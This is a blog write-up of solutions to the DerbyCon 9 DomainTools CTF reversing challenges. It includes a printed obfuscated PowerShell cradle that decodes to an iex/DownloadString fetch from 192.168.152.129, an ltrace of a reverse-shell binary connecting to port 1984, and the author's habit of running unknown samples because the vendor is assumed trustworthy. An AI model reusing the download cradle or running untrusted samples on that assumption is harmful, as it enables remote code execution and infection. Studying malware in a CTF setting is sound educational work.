DerbyCon 9 – DomainTools CTF – Reversing

Part three of the DerbyCon DomainTools CTF write-ups.  You can find coverage of all the Crypto challenges here and coverage of all the Forensics challenges here.  This finishes up the solutions for every challenge in the CTF, broken up by the same section names that they used.  When possible, I’ll also be creating CyberChef recipes to directly solve each challenge, and linking to them following the solution description.  Let’s get started!

Challenge: Flip It & Reverse It! (10 Points)

Directions:  Reverse and combine strings of the following text for the key:

niamod sloot !selur

Solution:  The name of the challenge says it all… and all we really have to do is reverse it:

domain tools rules!

Challenge: Powershell Fun! (20 Points)

Directions: You come across some suspicious and highly obfuscated Powershell in your environment. The key is the full deobfuscated URL.

File: hotmess (Note: zipped here but originally just raw PS1)

Solution:  First we look at the file and see some base64 that gets reversed and then inflated:

user@system:~$ cat hotmess.ps1
& ( $enV:comSPec[4,15,25]-joiN'')(NeW-ObjECT SySTem.io.CoMPResSIOn.dEFLateSTrEam([io.MeMORYSTReAM] [SySTem.CoNvERt]::FROmbaSe64STRIng( 'PVHRitswEPwVPbSWfSSH1lpZ0j05LaUVnMWhCxgcQl98GB8hV2joS9t/76xb+mBrvJqdnR1Xqq5/HMp6+HD5pPTdMJc73dznw/BysjuiXXvev76tV60bVZ+ej2XNn88PD69v6VorrdWu1sEnIu7JuEzUFTJU2BXf9kRUiNyMarLtaGMV7EAURttmak0fQsKx2Ha20s4jiJU8louLMwQnEQPNthMbXBnQaCGKEzsMpSVCwnRbNUbpz7btfRhREKXMXR+8fM0xTJ2HuVBBd5AK5KDRTUwzd7kL8ErwHOUigzhvAzygScGK+PRvT5wGonaAKduNWKIKQVaq2GaYJ2pHFyr2mX3hODg/O4MhvWBeXAe8cKycnZwZuRs5LiA43yMItnjDZITSwBbZzNEjCAvzbrG8bDNyjJNgKjYiwZ5d5eGJCAEzoiPxh20Y/4TweEkPddNLClKSJEjCZPQnT7Jc2nIzgo1W++eny3rUs6Bvj+mo9KT3358u6aZ0/n9dSe1xvelBg3ZJR71sd1tD0sJKN13+8qV1BESHwF7/Uu/Vz1qdPn45lLM6rdfj+d3XRv1WjWqaPw==' ) , [SYStem.iO.coMPReSSIOn.COMPrESSIONMOde]::DEComPreSS) |foreAch-oBJEct{ NeW-ObjECT IO.sTreAMrEADeR($_, [SySTEm.tExT.ENcodiNg]::asCii)}| foReaCh-OBjEct {$_.rEAdTOend()} )

CyberChef allows us to reverse this quickly (Recipe) using FromBase64 –> Raw Inflate, which gives us this:

& ((vARiABlE '*MdR*').NAMe[3,11,2]-join'') ([STRiNG]::joIn( '' ,('87I114@105N116R101R45R72@111R115d116I32W39&83M118W32N120@88I120g32d34@104W116&116&34R59d105Z101R88I32Z40&110@101g119Z45I111g98I106@101g99W116N32@78W101&116N46@87W101d98Z67R108&105M101d110I116Z41d46N68R111@119d110N108d111g97N100I83W116Z114@105Z110W103M40&36W120&88N120&43N34R112W58&47N47R49M57d50d46@49M54g56d46g49&53Z50W46W49g50d57@34@43@34&109N34M43d34d97Z103R105g34g43N34N99Z34g41R39g32@45&70W111M114d101W103@114N111N117&110d100@67R111N108&111g114g32I71Z114I101&101Z110' -SPliT'd' -SpLIT 'Z'-sPlIt 'N' -SPliT'&'-sPLit'M'-SplIT'g' -SPLIT 'I'-SPlIt'R' -SPlIt 'W' -sPLIt '@'| % {( [CHAR] [inT]$_) } ) ))

Then we need to clear up that up… using Gedit (or an editor of your choosing) we can do that quickly by using find/replace to replace each of those “split” characters with ‘, ‘ for formatting, after which we end up with this:

87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 39, 83, 118, 32, 120, 88, 120, 32, 34, 104, 116, 116, 34, 59, 105, 101, 88, 32, 40, 110, 101, 119, 45, 111, 98, 106, 101, 99, 116, 32, 78, 101, 116, 46, 87, 101, 98, 67, 108, 105, 101, 110, 116, 41, 46, 68, 111, 119, 110, 108, 111, 97, 100, 83, 116, 114, 105, 110, 103, 40, 36, 120, 88, 120, 43, 34, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 49, 53, 50, 46, 49, 50, 57, 34, 43, 34, 109, 34, 43, 34, 97, 103, 105, 34, 43, 34, 99, 34, 41, 39, 32, 45, 70, 111, 114, 101, 103, 114, 111, 117, 110, 100, 67, 111, 108, 111, 114, 32, 71, 114, 101, 101, 110

Well, that’s about as clear of decimal as you’re likely to get.  Let’s push that through CyberChef (Recipe) using ‘From Decimal’ and we get:

Write-Host 'Sv xXx "htt";ieX (new-object Net.WebClient).DownloadString($xXx+"p://192.168.152.129"+"m"+"agi"+"c")' -ForegroundColor Green

Examining that we see that it builds a download string, which is the answer we were told to find!

http://192.168.152.129/magic

Challenge: Keylogging is Fun! (25 Points)

Directions: Here is a blob of Windows keylogger shellcode. The flag is the full file path that the keystrokes are logged to.

File: keylogger (Note: zipped here but originally just the SC file)

Solution: A tool named scdbg can solve this one quickly. It’s a tool that emulates the execution of shellcode and then spits out what the code would have done.  You can find scdbg here or direct download the binaries here.

Running it with the provided shellcode shows that the shellcode will try to create a file at ‘C:\Windows\Temp\log.bin’

And that’s the answer. 🙂

Challenge: You’ve Been Pwn3d (30 Points)

Directions: Your LAMP stack got pwn3d and you find this ELF binary on the machine. The flag is the listener port!

File: magic (Note: zipped here but originally was raw ELF binary)

Solution:  We can use ltrace to see what’s being loaded as this runs.  In this case, I’ll use
‘-n 3’ to indent any subcalls and ‘-f’ to also trace children/clones… a good starting set of options when analyzing files.

user@system:~$ ltrace -n 3 -f ./magic
[pid 3001] socket(2, 1, 6) = 3
[pid 3001] dup2(3, 0) = 0
[pid 3001] dup2(3, 1) = 1
[pid 3001] dup2(3, 2) = 2
[pid 3001] inet_addr("127.0.0.1") = 0x100007f
[pid 3001] htons(1984, 0x7fc68146c950, 0x100007f, 0) = 0xc007
[pid 3001] connect(3, 0x7ffe7bb1c110, 16, 0x7ffe7bb1c110) = 0xffffffff
[pid 3001] execve(0x561dfb6ad00e, 0, 0, 0x7fc6813dd4d4 
[pid 3001] --- Called exec() ---
[pid 3001] __errno_location() = 0x7f3332b0a500
[pid 3001] getuid() = 0
[pid 3001] getgid() = 0
[pid 3001] _setjmp(0x7ffe0cee2a50, 0x7ffe0cee2c08, 0x7ffe0cee2c10, 0x7f3332a0f4b7) = 0
[pid 3001] getpid() = 3001
[pid 3001] sigfillset(~<31-32>) = 0
[pid 3001] sigaction(SIGCHLD, { 0x56445e1f63c0, ~<31-32>, 0xffffffff, 0xffffffffffffffff }, nil) = 0
[pid 3001] geteuid() = 0
[pid 3001] strchrnul(0x56445e2020f8, 61, 61, 7) = 0x56445e2020fe
[pid 3001] __errno_location() = 0x7f3332b0a500
[pid 3001] __strtol_internal("1", 0x7ffe0cee2830, 10) = 1
[pid 3001] __ctype_b_loc() = 0x7f3332b0a518
[pid 3001] getppid() = 3000
[pid 3001] __vsnprintf_chk(0x56445e202225, 27, 1, -1) = 4
[pid 3001] malloc(32) = 0x56445fcdf260
[pid 3001] getcwd(0, 0) = ""
[pid 3001] __ctype_b_loc() = 0x7f3332b0a518
[pid 3001] __ctype_b_loc() = 0x7f3332b0a518
[pid 3001] __ctype_b_loc() = 0x7f3332b0a518
[pid 3001] strchrnul(0x56445e1fa372, 61, 1, 0) = 0x56445e1fa372
[pid 3001] strlen("/mnt/hgfs/SharedVM") = 18
[pid 3001] malloc(23) = 0x56445fcdf2b0
[pid 3001] mempcpy(0x56445fcdf2b0, 0x56445e1fa36f, 3, 0x56445fcdf2b0) = 0x56445fcdf2b3
[pid 3001] mempcpy(0x56445fcdf2b4, 0x56445fcdf290, 18, 0x4457) = 0x56445fcdf2c6
[pid 3001] malloc(32) = 0x56445fcdf2d0
[pid 3001] isatty(0) = 0
[pid 3001] geteuid() = 0
[pid 3001] getegid() = 0
[pid 3001] sigaction(SIGINT, nil, { 0, <>, 0x5fcdf290, 0x3 }) = 0
[pid 3001] sigfillset(~<31-32>) = 0
[pid 3001] sigaction(SIGINT, { 0, ~<31-32>, 0xffffffff, 0xffffffffffffffff }, nil) = 0
[pid 3001] sigaction(SIGQUIT, nil, { 0, <>, 0x5fcdf290, 0x3 }) = 0
[pid 3001] sigfillset(~<31-32>) = 0
[pid 3001] sigaction(SIGQUIT, { 0, ~<31-32>, 0xffffffff, 0xffffffffffffffff }, nil) = 0
[pid 3001] sigaction(SIGTERM, nil, { 0, <>, 0x12, 0x56445e1f8d8c }) = 0
[pid 3001] sigfillset(~<31-32>) = 0
[pid 3001] sigaction(SIGTERM, { 0, ~<31-32>, 0xffffffff, 0xffffffffffffffff }, nil) = 0
[pid 3001] read(0 
error: maximum array length seems negative
, "", 8192) = -1
[pid 3001] _setjmp(0x7ffe0cee2930, 0x56445e202aa0, 0, 0) = 0
[pid 3001] _setjmp(0x7ffe0cee2930, 0, 0x5e6b1ae689ef42ac, 0) = 0
[pid 3001] _exit(0 
[pid 3001] +++ exited (status 0) +++

Notice this line?

[pid 3001] inet_addr("127.0.0.1") = 0x100007f

The inet_addr call gets the network byte order of the specified address… in this case it converts ‘127.0.0.1’ to the ‘7f 00 00 01’ which in little Endian byte order is ‘0x0100007f’ (the leading 0 is dropped as it is not significant in the notation). That tells us we’re looking at a likely area interest.

[pid 3001] htons(1984, 0x7fc68146c950, 0x100007f, 0) = 0xc007

The next call is to htons (or ‘Host TO Network, Short), which “converts the unsigned short integer hostshort from host byte order to network byte order.”  In this case it’s being used to make sure the bytes that will go down to the hardware are appropriate, and we can see our ‘127.0.0.1’ as the third argument, and that interesting number of ‘1984’ as our first argument, which is the port number. You can confirm this by calculating the return code (0xc007) into decimal… ‘0xc007’ is ‘7c0’ in big-endian hex, which is ‘1984’ in decimal.  And we have our answer!

1984

Challenge: Messy JS! (30 Points)

Directions: Take a look at the Javascript file. Can you deobfuscate it and find the flag?

File: obfuscated_js (Note: zipped here but originally just .js file)

Solution: There’s an easy way, and a hard way, to do this.  We know this is from a trusted vendor in a public event, and there were no disclaimers on executing any of this, so the odds of it being anything actually malicious are quite low. So the easy way is to just create a page that sources it and see what happens. 🙂

Then when we open it we get the following in a message box:

Flag: DTROCKS!

I’ll leave the hard way as a challenge to the reader.

DTROCKS!

Challenge: Guess the Pass! (40 Points)

Directions: You’ve come across an ELF binary that you need to supply a password for as an argument to get the flag.

File: guessThePass (Note: zipped here but originally just ELF file)

Solution:

Crack open the binary with Ghidra (or whatever tool you’d like) and explore the strings stored in it until you find the following string which seems pretty interesting… in my case, I found this by first trying a garbage entry for the password on the command line, and then searching for the incorrect message of “Keep trying” based upon the logic that I could just trace from calls to that memory address back to where the actual checking logic takes place, but do whatever works for you!

timesplitguessThePass.pycod_0013c010 ds "utf-8timesplitguessThePass.pycodecssysdecode,Keep trying!Syntax: ./guessThePass encodeeJyzMNdRMDQwBBEWOgqWlkCGIZhnCRU3NdBRMDODyZtD1RiAtZlARAwNzQDKrwzB\nbase64sleep__annotations__argvzlibYou guessed right!exit" "utf-8timesplitguessThePass.pycodecssysdecode,Keep trying!Syntax: ./guessThePass encodeeJyzMNdRMDQwBBEWOgqWlkCGIZhnCRU3NdBRMDODyZtD1RiAtZlARAwNzQDKrwzB\nbase64sleep__annotations__argvzlibYou guessed right!exit" string 226 true

Looking inside that you’ll see this bit:

encodeeJyzMNdRMDQwBBEWOgqWlkCGIZhnCRU3NdBRMDODyZtD1RiAtZlARAwNzQDKrwzB\nbase64

Or translated:

encode eJyzMNdRMDQwBBEWOgqWlkCGIZhnCRU3NdBRMDODyZtD1RiAtZlARAwNzQDKrwzB
base64

Okay, so we need to base64 decode, and then decode in some other fashion… CyberChef to the rescue (Recipe). First we base64 decode which gives us:

xœ³0×Q040:
––@†!˜g 75ÐQ03ƒÉ›CՀµ™@D
ÍʯÁ

But then… no clue.  So let’s add “Magic” to the recipe which correctly identifies that we need to zlib-inflate it. Modifying the recipe to include zlib-inflate, we get:

87, 101, 108, 99, 111, 109, 101, 50, 66, 108, 97, 99, 107, 104, 97, 116

That looks like decimal notation, so let’s try reversing that as well, which gives us a final recipe of From Base64 –> Zlib Inflate –> From Decimal And that gives us the answer:

Welcome2Blackhat

Challenge: Macho Madness! (40 Points)

Directions:  Your CEO received a weird ZIP file attached to an email that bypassed your e-mail security filters and ended up on her MacBook.

The flag is the TCP port used!

File: What

Solution: Remember the logic from Messy JS?  If you don’t, allow me to regurgitate it for you:

We know this is from a trusted vendor in a public event, and there were no disclaimers on executing any of this, so the odds of it being anything actually malicious are quite low.

So the easy way for this challenge is to just run the thing in a sacrificial VM and see what happens by monitoring it with software that cares a lot about ports being opened: Little Snitch.

That makes the solve for this just:

  1. Unzip.
  2. Run the app.
  3. See that Little Snitch reports an attempt to open port 1337

See, wasn’t that easy? 🙂

1337

[Fin]

Well, that wraps up the last of the DomainTools CTF challenges.  Until next time, good hunting!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Website Powered by WordPress.com.

Up ↑

%d bloggers like this: